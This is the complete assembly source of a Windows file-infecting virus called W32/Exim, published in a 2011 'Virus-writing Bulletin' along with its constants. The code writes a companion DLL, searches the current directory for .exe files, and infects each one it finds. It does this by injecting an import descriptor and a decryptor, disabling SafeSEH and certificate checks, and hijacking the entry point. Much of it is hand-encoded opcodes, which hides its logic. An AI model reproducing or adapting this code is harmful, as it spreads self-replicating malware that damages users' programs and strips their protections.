Virus-writing Bulletin

Presents!

W32/Exim

-
. ● glósóli ● .

.486
.model  flat, stdcall
.code
assume fs:nothing

exim_exe        proc 
        dec     dword ptr [esp + 8]          ;do not execute if DLL_PROCESS_DETACH
        js      DETACH
        pushad
        db      33h
        db      0dbh
        call    create_dll
        db      58h
        db      58h
        db      5ch
        db      33h, 0c0h
        db      64h
        db      8fh
        db      0
        db      58h
        popad

DETACH:
        ret     0ch

echo 28/12/10 - exim by hh86                 ;happiness hit her like a bullet in the head
                                             ;struck from a great height by someone who should know better than that...
exim_exe        endp

;-------------------------------------------------------------------------------
;image for a PE32 DLL file 
;-------------------------------------------------------------------------------

dos_hdr         label    near
        db      "MZ"                          ;e_magic
        dw      "CV"                          ;e_cblp
        db      "!", 0                        ;e_cp
        dw      0                             ;e_crlc
        dw      0                             ;e_cparhdr
        dw      0                             ;e_minalloc
        db      "PE", 0, 0                    ;signature
        dw      IMAGE_FILE_MACHINE_I386       ;machine
        dw      1                             ;numberofsections
        dd      0                             ;timedatestamp
        dd      0                             ;pointertosymboltable
        dd      0                             ;numberofsymbols
        dw      68h                           ;sizeofoptionalheader
        dw      IMAGE_FILE_RELOCS_STRIPPED or IMAGE_FILE_EXECUTABLE_IMAGE or IMAGE_FILE_32BIT_MACHINE
        dw      IMAGE_NT_OPTIONAL_HDR32_MAGIC ;magic
        db      0                             ;majorlinkerversion
        db      0                             ;minorlinkerversion
        dd      0                             ;sizeofcode
        dd      0                             ;sizeofinitializeddata
        dd      0                             ;sizeofuninitializeddata
        dd      0                             ;addressofentrypoint
        dd      0                             ;baseofcode
        dd      0ch                           ;baseofdata and e_lfanew
        dd      0                             ;imagebase
        dd      1                             ;sectionalignment
        dd      1                             ;filealignment
        dw      0                             ;majoroperatingsystemversion
        dw      0                             ;minoroperatingsystemversion
        dw      0                             ;majorimageversion
        dw      0                             ;minorimageversion
        dw      4                             ;majorsubsystemversion
        dw      0                             ;minorsubsystemversion
        dd      0                             ;win32versionvalue
        dd      offset _end - offset dos_hdr  ;sizeofimage
        dd      offset _sect - offset dos_hdr ;sizeofheaders
        dd      0                             ;checksum
        dw      IMAGE_SUBSYSTEM_WINDOWS_CUI   ;subsystem
        dw      IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE or IMAGE_DLL_CHARACTERISTICS_NX_COMPAT or IMAGE_DLLCHARACTERISTICS_NO_SEH
        dd      0                             ;sizeofstackreserve
        dd      0                             ;sizeofstackcommit
        dd      0                             ;sizeofheapreserve
        dd      0                             ;sizeofheapcommit
        dd      0                             ;loaderflags
        dd      2                             ;numberofrvaandsizes
        dd      offset _sect - offset dos_hdr ;export
        dd      0                             ;export
        db      8 dup (0)                     ;name
        dd      offset _end - offset _sect    ;virtualsize
        dd      offset _sect - offset dos_hdr ;virtualaddress
        dd      offset _end - offset _sect    ;sizeofrawdata
        dd      offset _sect - offset dos_hdr ;pointertorawdata
        dd      0                             ;pointertorelocations
        dd      0                             ;pointertolinenumbers
        dw      0                             ;numberofrelocations
        dw      0                             ;numberoflinenumbers
        dd      IMAGE_SCN_CNT_INITIALIZED_DATA or IMAGE_SCN_MEM_READ
        
;-------------------------------------------------------------------------------
;no code can be executed here
;-------------------------------------------------------------------------------

_sect           label    near
        dd      0
        dd      0
        dd      0
        dd      0
        dd      1
        dd      400h
        dd      0
        dd      offset _addrtbl - offset dos_hdr
        dd      0
        dd      0

_addrtbl:
        dd      1

require         proc
        db      60h
        db      6ah
        db      30h                          ;process environment block
        db      5eh
        db      64h
        db      8bh
        db      6
        db      8bh                          ;retrieve imagebase
        db      40h
        db      8
        db      1                            ;convert to relative virtual address
        db      44h
        db      34h
        db      -(STACK_REG.LO32_EAX - STACK_REG.LO32_ESP)
        db      33h
        db      0d2h
        db      0e8h                         ;skip SE handler
        dd      0bh
        db      58h
        db      58h
        db      5ch
        db      33h, 0c0h
        db      64h
        db      8fh
        db      0
        db      58h
        db      61h
        ret
        db      64h
        db      0ffh
        db      32h
        db      64h
        db      89h
        db      22h
        db      64h
        db      0adh
        db      8bh
        db      40h
        db      0ch
        db      8bh
        db      70h
        db      14h
        db      0adh
        db      8bh
        db      0
        db      8bh
        db      68h
        db      10h
        call    skip_crc 
        dd      03fc1bd8dh
        dd      0da68238fh

;-------------------------------------------------------------------------------
;DLL name
;-------------------------------------------------------------------------------

        db      30h, 0

skip_crc:
        db      5eh
 
;-------------------------------------------------------------------------------
;walk lists
;-------------------------------------------------------------------------------

crc32   macro
        db      32h
        db      7
        db      6ah
        db      8
        db      59h
        db      0d1h
        db      0e8h
        db      73h
        db      5
        db      35h
        dd      0edb88320h
        db      0e2h
        db      0f5h
        db      47h
        db      38h
        db      0fh
        db      75h
        db      0ebh
endm

import_next:
        db      8bh
        db      45h
        db      IMAGE_DOS_HEADER.e_lfanew
        db      8bh
        db      5ch
        db      28h
        db      IMAGE_DIRECTORY_ENTRY_EXPORT
        db      3
        db      0ddh

export_next:
        db      8bh
        db      7bh
        db      IMAGE_EXPORT_DIRECTORY.AddressOfNames
        db      3
        db      0fdh
        db      8bh
        db      3ch
        db      97h
        db      0f9h
        db      1bh
        db      0c0h
        db      3
        db      0fdh
        crc32
        db      0f7h
        db      0d0h
        db      39h
        db      6
        je      l_res
        db      42h
        db      39h
        db      53h
        db      IMAGE_EXPORT_DIRECTORY.TimeDateStamp + IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint - IMAGE_EXPORT_DIRECTORY.TimeDateStamp shl 2 - sizeof IMAGE_EXPORT_DIRECTORY.NumberOfNames
        jne     export_next
        int     3

;-------------------------------------------------------------------------------
;resolve API address
;-------------------------------------------------------------------------------

l_res:
        db      8bh
        db      7bh
        db      IMAGE_EXPORT_DIRECTORY.AddressOfNameOrdinals
        db      3
        db      0fdh
        db      0fh
        db      0b7h
        db      3ch
        db      57h
        db      8bh
        db      43h
        db      IMAGE_EXPORT_DIRECTORY.AddressOfFunctions
        db      3
        db      0c5h
        db      8bh
        db      4
        db      0b8h
        db      3
        db      0c5h
        db      50h
        db      0adh
        db      33h
        db      0d2h
        db      80h
        db      3eh
        db      30h
        jne     import_next
        db      8bh
        db      0dch
        db      56h
        db      0ffh, 53h, 4                 ;call LoadLibraryA
        db      50h
        db      0ffh, 13h                    ;call FreeLibrary
        db      1 + 5 + 4 dup (0cch)         ;Grrrrrr!
        dq      0
require         endp
_end            label    near

;-------------------------------------------------------------------------------
;create DLL file
;-------------------------------------------------------------------------------

create_dll      proc
        db      64h
        db      0ffh
        db      33h
        db      64h, 89h, 23h                ;SEH protected
        push    ebx
        push    ebx
        push    CREATE_NEW
        push    ebx
        push    F0
        push    G0
        push    offset dllfile
        call    CreateFile 
        inc     eax
        jz      find_fs      
        dec     eax
        push    eax
        xchg    ebp, eax
        push    ebx
        push    esp
        push    DLLSIZE
        push    offset dos_hdr
        push    ebp
        call    WriteFile 
        call    CloseHandle
        jmp     find_fs

        ;you know I am a child.  I keep this alive.

create_dll      endp

find_fs         proc
        enter   (sizeof WIN32_FIND_DATA + sizeof LOADED_IMAGE) + (sizeof IMAGE_DOS_HEADER.e_lfanew + 1), 0
        mov     edi, esp
        lea     esi, dword ptr [edi + LOADED_IMAGE]
        push    esi

;-------------------------------------------------------------------------------
;find exe files in current directory
;-------------------------------------------------------------------------------

        db      0e8h
        dd      6
        db      "*"
        db      "."
        db      "e"
        db      "x"
        db      "e"
        db      0
        call    FindFirstFile
        db      95h
        jmp     call_mf

find_next:
        db      56h
        db      55h
        call    FindNextFile 
        test    eax, eax
        jz      call_seh

call_mf:
        pushad
        db      CALL_OP, low offset map_file - offset delta_seh, 0, 0, 0

delta_seh:
        db      58h
        db      58h
        db      5ch
        db      33h, 0c0h
        db      64h
        db      8fh
        db      0
        db      58h
        popad
        jmp     find_next
find_fs         endp

;-------------------------------------------------------------------------------
;create map
;-------------------------------------------------------------------------------

map_file        proc
        db      64h
        db      0ffh
        db      33h
        db      64h, 89h, 23h                ;SEH protected
        db      8dh
        db      4eh
        db      WIN32_FIND_DATA.cFileName
        db      57h
        db      53h
        db      53h
        db      57h
        db      53h
        db      51h
        call    MapAndLoad
        db      48h
        js      call_seh                     ;no unmap happens if zero
        db      CALL_OP, low offset infect_exe - offset delta_os, 0, 0, 0

delta_os:
        db      58h
        db      58h
        db      5ch
        db      33h, 0c0h
        db      64h
        db      8fh
        db      0
        db      58h
        call    UnMapAndLoad 
map_file        endp

call_seh        label    near
        int     3
        
        ;so darkness I became

infect_exe      proc
        db      64h
        db      0ffh
        db      33h
        db      64h, 89h, 23h

;-------------------------------------------------------------------------------
;32-bit machine
;GUI or CUI
;-------------------------------------------------------------------------------

        db      8bh
        db      6fh
        db      LOADED_IMAGE.MappedAddress
        db      8bh
        db      47h
        db      LOADED_IMAGE.FileHeader
        db      0f6h
        db      40h
        db      IMAGE_NT_HEADERS.FileHeader.Characteristics + 1
        db      high IMAGE_FILE_32BIT_MACHINE
        jz      call_seh
        db      8ah
        db      48h
        db      IMAGE_NT_HEADERS.OptionalHeader.Subsystem
        db      49h
        db      49h
        db      80h
        db      0f9h
        db      IMAGE_SUBSYSTEM_WINDOWS_CUI - IMAGE_SUBSYSTEM_WINDOWS_GUI
        jnbe    call_seh
        db      80h
        db      60h
        db      IMAGE_NT_HEADERS.OptionalHeader.DllCharacteristics + 1
        db      0f0h                         ;NO_SEH and NX_COMPATIBLE flags

;-------------------------------------------------------------------------------
;PE size must be equal to file size
;certificate table must be at end of last section
;-------------------------------------------------------------------------------

        db      8bh
        db      57h
        db      LOADED_IMAGE.Sections
        db      8bh                          ;DWORD not WORD ;)
        db      4fh
        db      LOADED_IMAGE.NumberOfSections
        db      6bh
        db      0c9h
        db      sizeof IMAGE_SECTION_HEADER
        db      8dh
        db      74h
        db      11h
        db      -(sizeof IMAGE_SECTION_HEADER - IMAGE_SECTION_HEADER.SizeOfRawData)
        db      6ah
        db      10h
        db      5fh
        db      8dh
        db      4ch
        db      0f8h
        db      CERTIFICATE_TABLE_DATA_DIRECTORY - IMPORT_TABLE_DATA_DIRECTORY
        db      8bh
        db      56h
        db      sizeof IMAGE_SECTION_HEADER.PointerToRawData
        db      3
        db      16h
                                             ;do not infect if imports
        cmp     dword ptr [eax + edi * 8], ebx
        jne     call_seh
        db      0b7h
        db      10h
        db      39h
        db      19h
        jb      call_seh
        db      39h
        db      11h
        jne     call_seh

;-------------------------------------------------------------------------------
;set to zero the certificate table data directory
;disable SafeSEH
;-------------------------------------------------------------------------------

        fldz
        fstp    qword ptr [ecx]
        fldz
        fstp    qword ptr [ecx + LOAD_CONFIG_TABLE_DATA_DIRECTORY]

;-------------------------------------------------------------------------------
;increase image and section size
;-------------------------------------------------------------------------------

        db      1
        db      5eh
        db      -(IMAGE_SECTION_HEADER.SizeOfRawData - IMAGE_SECTION_HEADER.Misc.VirtualSize)
        db      1
        db      58h
        db      IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage
        db      8bh
        db      4eh
        db      -(IMAGE_SECTION_HEADER.SizeOfRawData - IMAGE_SECTION_HEADER.VirtualAddress)
        db      3
        db      0eh
        db      1                            ;increase raw size
        db      1eh
        db      81h
        db      4eh
        db      IMAGE_SECTION_HEADER.Characteristics - IMAGE_SECTION_HEADER.SizeOfRawData
                                             ;Windows can write-enable section while binding imports
                                             ;but we need to set this bit for decryption
        dd      IMAGE_SCN_MEM_WRITE or IMAGE_SCN_MEM_EXECUTE
        db      60h
        db      8dh
        db      3ch
        db      2ah
        db      0beh
        dd      offset importtbl
        db      60h
        db      6ah, not(low (offset decryptor_end - offset importtbl))
        db      59h
        db      0f6h, 0d1h
        db      0f3h, 0a4h
        db      61h
        db      1
        db      0fh
        db      1
        db      04fh, IMAGE_IMPORT_DESCRIPTOR.Name1
        db      1
        db      04fh, IMAGE_IMPORT_DESCRIPTOR.FirstThunk
        db      81h
        db      0c1h
        dd      offset decryptor - offset importtbl
        db      87h
        db      48h
        db      IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint
        db      89h
        db      8fh
        dd      (offset entrypoint - offset importtbl) + 1
        db      61h
        db      89h                          ;now add import table entry to data directory
        db      00ch
        db      0f8h
        int     3
infect_exe      endp


;-------------------------------------------------------------------------------
;import directory
;-------------------------------------------------------------------------------

N_ORDINALS =  2ch

importtbl       label    near
                dd      sizeof IMAGE_IMPORT_DESCRIPTOR * 2 + 5
                dd      0
                dd      0
                dd      sizeof IMAGE_IMPORT_DESCRIPTOR + sizeof IMAGE_IMPORT_DESCRIPTOR.OriginalFirstThunk
                dd      sizeof IMAGE_IMPORT_DESCRIPTOR * 2 + 5
                dd      0
dllfile         db      "v", ".dll", 0, 0, 0
                dd      0, 0

decryptor       proc
        call    skip_iat

x = 0
REPEAT N_ORDINALS
x = x + 1
                dd      80000000h + x
ENDM
                dd      0

skip_iat:
        pop     esi
        lodsd
        dec     eax
        xchg    edx, eax
        push    esi
        push    29h
        pop     ecx

decrypt:
        sub     dword ptr [esi], edx
        lodsd
        loop    decrypt
        pop     esi

entrypoint      label    near
        push    "vc!"
        jmp     esi
decryptor       endp
decryptor_end   label    near
end     exim_exe

For this virus I used the IMAGE_IMPORT_DESCRIPTOR that has no Characteristics field but OriginalFirstThunk.
These are some of the constants and their respective values, and the STACK_REG structure:

CERTIFICATE_TABLE_DATA_DIRECTORY =  98h
LOAD_CONFIG_TABLE_DATA_DIRECTORY =  30h
IMAGE_DIRECTORY_ENTRY_EXPORT     =  78h
IMPORT_TABLE_DATA_DIRECTORY      =  80h
DLLSIZE =  offset _end - offset dos_hdr
CALL_OP =  0e8h
F0 =  FILE_SHARE_READ or FILE_SHARE_WRITE  
G0 =  GENERIC_READ or GENERIC_WRITE

STACK_REG struct
 LO32_EDI dd  ?
 LO32_ESI dd  ?
 LO32_EBP dd  ?
 LO32_ESP dd  ?
 LO32_EBX dd  ?
 LO32_EDX dd  ?
 LO32_ECX dd  ?
 LO32_EAX dd  ?
STACK_REG ends


Virus-writing Bulletin 2011